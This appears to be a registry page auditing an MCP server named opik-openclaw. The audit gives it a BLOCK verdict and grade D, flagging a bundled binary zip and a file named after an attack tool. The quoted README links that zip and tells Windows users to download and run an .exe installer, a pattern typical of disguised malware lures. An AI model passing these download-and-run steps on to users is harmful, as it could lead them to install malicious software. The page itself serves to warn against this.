Atlas / MCP servers / brucekumar / opik-openclaw

opik-openclawBLOCK

mcp/brucekumar/opik-openclaw

Export OpenClaw agent traces to monitoring systems for improved observability and diagnostic insights.

Verdict
BLOCK
Grade
D
Trust score
69 /100
Exposed tools
1 1r · 0w · 0d
Transport
—
License
Apache-2.0
Stars
1
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/brucekumar/opik-openclaw/main/src/opikopenclawv1.8.zip)

📝 What is opik-openclaw?

opik-openclaw is a tool that works with OpenClaw. It helps you save and look at agent activity. You can track what agents do, how much it costs, tokens used, errors, and other details. This plugin makes it easier to watch your agent's actions in real-time or after activity.

You do not need any technical skills to use this software. It comes ready to install and run on Windows.

🖥️ System Requirements

Before you download opik-openclaw, make sure your computer meets these needs:

  • Windows 10 or later (64-bit)
  • 4 GB of RAM or more
  • At least 500 MB free hard drive space
  • Internet connection to download the program
  • OpenClaw installed (version 1.0 or above)

If OpenClaw is not installed, download it from the official source before using opik-openclaw.

🚀 Getting Started with opik-openclaw

Follow these steps to download and start the program quickly.

Step 1: Access the download page

Visit the official release page to get the latest version:

Download opik-openclaw Release Page

Click the button above or paste the link into your browser.

Step 2: Choose the right file

On the release page, look for the file that ends with .exe. This is the installation program designed for Windows.

Example: opik-openclaw-setup.exe

Step 3: Download the installer

Click the .exe file to download. Your browser will save it in your Downloads folder or another folder you set.

Step 4: Run the installer

  • Open the folder where the file downloaded.
  • Double-click the .exe file to start.
  • Follow the on-screen prompts to install opik-openclaw.
  • If Windows ask
Read from source at commit c23fcae15549OBSERVED · 2026-10-11
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add opik-openclaw --env OPIK_API_KEY=${OPIK_API_KEY} -- npx -y @opik/[email protected]
claude-desktop
{
  "mcpServers": {
    "opik-openclaw": {
      "command": "npx",
      "args": [
        "-y",
        "@opik/[email protected]"
      ],
      "env": {
        "OPIK_API_KEY": "${OPIK_API_KEY}"
      }
    }
  }
}
03

Exposed tools (1)

1 read · 0 write · 0 destructive.

ToolRiskDescription
OpikreadExport LLM traces and spans to Opik for observability
04

Trust audit

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryFAIL
L1Static analysis of the codeWARN
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (3 observation(s))
Network
declared (4 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (8)

HIGHInventory / provenance · inv.suspicious_name · CWE-1104
src/service/payload-sanitizer.ts
payload-sanitizer.ts
Why it matters. member named after an attack tool
Fix. remove or justify
MEDIUMInventory / provenance · inv.binary · CWE-1104
src/opik_openclaw_v1.8.zip
opik_openclaw_v1.8.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMSupply chain · supply.git_dep · CWE-829, CWE-1357
package-lock.json:5196
"libsignal": "git+https://github.com/whiskeysockets/libsignal-node",
LOWInventory / provenance · inv.suspicious_name · CWE-1104
src/service/payload-sanitizer.test.ts
payload-sanitizer.test.ts
Why it matters. member named after an attack tool
Fix. remove or justify
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/service/hooks/llm.ts:3
import type { ActiveTrace } from "../../types.js";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/service/hooks/subagent.ts:3
import type { ActiveTrace } from "../../types.js";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/service/hooks/tool.ts:3
import type { ActiveTrace } from "../../types.js";
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
@clack/prompts, opik, zod, @types/node, typescript, vitest
Why it matters. 6 dependency range(s) float
Fix. pin exact versions or ship a lockfile

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha c23fcae15549full audit observations/trust-audit/mcp-server/brucekumar__opik-openclaw.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-11c23fcae15549BLOCKD69first audit
06

Questions

What is the opik-openclaw MCP server?

Export OpenClaw agent traces to monitoring systems for improved observability and diagnostic insights.

What tools does opik-openclaw expose?

1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is opik-openclaw safe to connect to an agent?

No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on.

What credentials does opik-openclaw need?

It reads OPIK_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How current is this page?

The grade is for one exact copy of the source (c23fcae15549), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement